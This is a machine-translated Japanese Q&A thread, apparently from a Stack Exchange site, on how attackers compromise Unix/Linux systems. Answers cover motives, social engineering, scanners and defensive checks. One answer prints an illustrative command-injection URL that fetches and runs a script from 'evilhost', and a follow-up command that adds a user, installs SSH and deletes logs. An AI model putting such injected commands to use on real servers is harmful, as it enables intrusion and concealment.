Unix / Linuxシステムをどの程度正確に「クラック」しますか?


13

クラッカーなどになろうとしているわけではありませんが、プロセスを理解しようとしています(プログラミングの観点から)。

ですから、クラッカーの主な目標を推測(推測)することは、彼が作成したソフトウェア(またはスクリプト)をインストールするためにルートアクセスを取得することですか?または、独自のカーネルモジュールをインストールすることもあります(何らかの理由で不正である)。

人々がスクリプトを使用してエクスプロイトをチェックしていることは知っていますが......方法はわかりません。彼らは既知のエクスプロイトのバージョンをチェックしています......そして、それらを見つけたら.......

私はこれがすべて非常に初心者に聞こえることを知っています。しかし、Linux / Unixシステムは非常に安全であると考えられているので、その仕組みを理解しようとしていますが、ルートアクセスを取得するプロセス(プロセス)を把握しようとしています。

回答:


14

システムのセキュリティを侵害しようとする理由は無数にあります。広いストロークで:

  • システムのリソースを使用するには(スパムの送信、トラフィックの中継など)
  • システムに関する情報を取得する(eコマースサイトから顧客データを取得するなど)。
  • システムの情報を変更するには(例:Webサイトの改ざん、虚偽の情報の植え付け、情報の削除)

これらのことを行うのは、ルートアクセスを必要とする場合のみです。たとえば、ユーザー入力を適切にサニタイズしないサイトに不正な形式の検索クエリを入力すると、ユーザー名/パスワード、メールアドレスなどの情報がサイトのデータベースから明らかになる可能性があります。

多くのコンピューター犯罪者は単なる「スクリプトキディ」です。つまり、実際にシステムのセキュリティを理解しておらず、コーディングすらしていないかもしれないが、他人が書いたエクスプロイトを実行する人たちです。通常、これらは適応する能力がないため、非常に簡単に防御されます。既知の脆弱性の悪用に限定されています。(ただし、ボットネット(侵害されたコンピューターの大規模なグループ)を活用する可能性がありますが、これはDDoS攻撃の危険性を意味する可能性があります。)

熟練した攻撃者にとって、プロセスは次のようになります。

  1. 目標が何であるか、そして目標が何の価値があるかを把握します。セキュリティ-維持または妥協-リスク/報酬の計算です。よりリスクが高く、費用のかかるものほど、攻撃を価値のあるものにするために、報酬がより強く必要になります。

  2. 目標が何であれ、影響を与えるすべての可動部分を考慮してください。たとえば、スパムを送信したい場合、メールサーバーを攻撃することができます、別のネットワーク向けサービスを利用する方が賢明です必要なのは、ターゲットのネット接続の使用です。ユーザーデータが必要な場合は、データベースサーバー、それにアクセスできるwebappとwebサーバー、それをバックアップするシステムなどを確認します。

    人的要因を決して割引かないでください。コンピューターシステムのセキュリティ保護は、人間の行動を保護するよりもはるかに簡単です。あるべきではない情報を明らかにしたり、すべきでないコードを実行したりすることは、簡単かつ効果的です。大学で、私は明らかに服を着て多淫な副大統領に出会うことで彼の超安全な企業ネットワークに侵入することを含む友人との賭けに勝ちました-私の友人の技術的専門知識は私のものをはるかに上回りましたが、17yo の力に勝るものはありません短いスカートで共学!

    おっぱいが足りない場合は、無意味なゲームや、馬鹿が実際に何をしているのかを考えずに楽しみのためにダウンロードするものを提供することを検討してください。

  3. 特定した各部分を見て、それが何ができるか、そしてそれがあなたが望むことをするためにどのように微調整できるかを検討してください-多分ヘルプデスクは、発信者を適切に特定せずに、ユーザーのパスワードを頻繁にリセットし、混乱して聞こえます他人のパスワードを取得します。webappは、検索ボックスに入力された内容をチェックして、実行されている関数に組み込む前にコードではないことを確認していない可能性があります。通常、セキュリティ侵害は、意図的に公開されたものから始まりますが、これは本来あるべきではない振る舞いをすることができます。


3
読んだ後、私はまだ多淫な副社長があなたにその賭けに勝つであろうカジュアルな会話でどんな情報を提供できるかについて興味があります。
ジャスティンクレス

1
@justin:$ friend re:学校のプロジェクトを見るためにそこにいたと言ったが、彼は外出していた。私はVPにコンピューターシステムについてささいなことを見せてくれましたが、彼は私を凝視しすぎて、彼がパスワードを入力しているのに気づきませんでした。彼は私が賭けに勝つためにアクセスすることになっていたドライブに合法的にアクセスできました。
HedgeMage

1
ソーシャルエンジニアリングは、ヒープオーバーフローよりもはるかに簡単です。このarchive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga

「おっぱいが足りないなら、無意味なゲームなどを提供することを検討してください」。両方の効果を同じカテゴリに入れますか?!:)
ルーペッシュシェノイ

2
「無意味なゲームやバカが楽しみのためにダウンロードするものを提供することを検討してください...」-ああ、それがFarmvilleとEvonyの背後にある考え方です。
シャドゥール

4

最大の要因は、攻撃者が持つアクセスの種類です。彼らが物理的にアクセスできる場合、あなたはめちゃくちゃです。リモートアクセスのみに関心がある場合は、実行しているものによって異なります。適切な構成がすべてです。標準のLinuxサーバーは、おそらくftp、ssh、http、https、およびmysqlを実行しています。SSHは安全ですが、ルートログインは許可しません。すべてのアカウントに適切なパスワードを入力する必要があります。FTPがヒットまたはミス。VSFTPがあり、ユーザーをchrootしている場合、非常に安全です。他のいくつかのバージョンには既知の脆弱性があります。HTTPはおそらく最も脆弱な領域になるでしょう。ここでの最大の懸念は、システム上でファイルを実行したり、システムにファイルをアップロードしたりすることです。WebサイトがPHP5で作成されている場合、SQLインジェクションは非常に困難です。セキュリティの学生と私自身のグループが、サニタイズされていないPHP5 Webサイトで数週間SQLインジェクションを試みましたが、失敗しました。MySQLでは、必ず非ルートユーザーを使用し、Apacheサーバーからのみログインするように制限してください。

Webサイトの脆弱性をテストするためのFirefoxプラグインがいくつかあります:アクセスして、xssして、sqlで挿入してください

セキュリティを確実に実行するために、私は常に競技会で行ういくつかの大きなこと:

  • netstat -開いているポートと接続を確認し、
  • w -誰がログインしているか、どれくらいの時間、
  • ログインのログを確認し、
  • 実行されたコマンドのbash履歴、
  • ps -コマンドの実行、
  • /etc/passwd 追加ユーザー向け
  • /etc/sudoers sudoアクセス用。

通常、攻撃者はアクセスを取得した後、ルートを取得しようとします。現在、通常のユーザーがルートを取得できる特権昇格の脆弱性がいくつかあります。その後、ユーザーを追加し、バックドアを開いて、後でアクセスできるように開きます。

これが私の学校のサイバー防衛ウェブサイトです。自由に見て回って質問してくださいhttps : //thislink.doesntexist.org/


2

システムのセキュリティは管理者のスキルに依存するため、「Linux / Unixシステムは非常に安全であるはずです」と言うのは間違っています:)

ハッキングに取り掛かります... 悪用されるものを探すNessusのような「脆弱性スキャナー」と呼ばれる種類のツールがあります。複雑なシステムでは、任意のファイルを任意の場所にアップロードできるように誤って構成されたApacheサーバーなど、何千もの問題が発生する可能性があります。これらは、データベースへのアクセスや、「パスワードを忘れた」機能を使用してパスワードを復元できる電子メールアカウントなど、さらなる悪用の足がかりとして機能します。

ハックとは、アクセスして悪を行うことです。時々、人々は楽しみのためにそれを行います(ところで、これはばかげています)。

そして、これはごく最近起こった有名なハックの物語です。セキュリティを検討している人なら誰でもそれが実例になると思う!エクスプロイトの要約を引用するには:

SQLインジェクションの欠陥と安全でないパスワードを使用したWebアプリケーション。誤って選択されたパスワード。再利用されたパスワード。パスワードベースの認証を許可したサーバー。パッチが適用されていないシステム。そして、資格情報を求められている人が何かが起きていることに気付いていたとしても、電子メールで資格情報を配布するという驚くべき意欲です。


1

無限に近いほど多くの攻撃ベクトルがあります。概念的に最も簡単な方法の1つは、プログラムを一般に公開し、実際に実行する以外のことを実行するということです。sudo開始時にユーザーにわかりやすい指示を与え、世界がブームになるのを見てください。ソニーのCDなどで見られるように、一人の人間がその動作を事前に検査することは不可能であるため、これはクローズドソースプログラムで毎日発生します。

リモートホストに特別な文字列を送信することもできます。大まかな例として、いくつかのソフトウェアが実行されているWebサーバーがあり、そのソフトウェアがURLの一部をコマンドとして実行する場合、エスケープしたり他の方法で害を及ぼさないようにします。のようなものを送信しますhttp://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh。デコードされると、検索文字列はになります。それが実行されると、script.shは、Webサーバーユーザーと同じアクセス権で実行され、マシン上で何でも実行できます。時々、人々はこれらを「便利さ」のルートとして実行させます。この場合、怠inessや無知の同義語です。ルートとして実行されていなくても、そのスクリプトはインストールされたソフトウェアの他のホールに対して数千のテストを実行し、見つかった場合は別のコマンドを実行できます。その最後のコマンドは、たとえばfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log、SSHアクセスを取得し、侵入の痕跡を削除します。

[コマンドは明らかに単純化されており、おそらくとにかく動作しません。YMMV]

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.